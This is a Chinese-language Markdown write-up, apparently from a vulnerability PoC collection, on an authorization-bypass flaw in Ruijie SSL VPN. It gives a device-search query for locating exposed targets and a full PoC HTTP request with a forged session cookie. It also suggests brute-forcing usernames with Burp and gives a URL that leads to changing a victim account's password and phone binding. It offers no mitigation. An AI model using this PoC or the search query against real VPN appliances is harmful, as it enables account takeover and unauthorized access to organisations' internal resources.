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77 lines
1.9 KiB
Markdown
77 lines
1.9 KiB
Markdown
# 锐捷 SSL VPN 越权访问漏洞
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## 漏洞描述
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Ruijie SSL VPN 存在越权访问漏洞，攻击者在已知用户名的情况下，可以对账号进行修改密码和绑定手机的操作。并在未授权的情况下查看服务器资源
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参考阅读：
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- https://mp.weixin.qq.com/s?__biz=MzU1NTkzMTYxOQ==&mid=2247484601&idx=1&sn=d6d6f4496243d98e688667faff137973
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## 漏洞影响
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```
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Ruijie SSL VPN
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```
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## 网络测绘
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```
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icon_hash="884334722" || title="Ruijie SSL VPN"
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```
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## 漏洞复现
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访问目标 http://xxx.xxx.xxx.xxx/cgi-bin/installjava.cgi
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POC请求包如下
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```plain
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GET /cgi-bin/main.cgi?oper=getrsc HTTP/1.1
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Host: xxx.xxx.xxx.xxx
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Connection: close
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Pragma: no-cache
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Cache-Control: no-cache
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Upgrade-Insecure-Requests: 1
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36
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Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
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Sec-Fetch-Site: none
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Sec-Fetch-Mode: navigate
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Sec-Fetch-User: ?1
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Sec-Fetch-Dest: document
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Accept-Encoding: gzip, deflate
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Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6
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Cookie: UserName=xm; SessionId=1; FirstVist=1; Skin=1; tunnel=1
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```
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其中注意的参数为
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```plain
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Cookie: UserName=xm; SessionId=1; FirstVist=1; Skin=1; tunnel=1
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```
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UserName 参数为已知用户名
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在未知登录用户名的情况下 漏洞无法利用(根据请求包使用Burp进行用户名爆破)
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用户名正确时会返回敏感信息
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通过此方法知道用户名后可以通过漏洞修改账号参数
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访问 http://xxx.xxx.xxx.xxx/cgi-bin/main.cgi?oper=showsvr&encode=GBK&username=liuw&sid=1&oper=showres
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点击个人设置跳转页面即可修改账号信息
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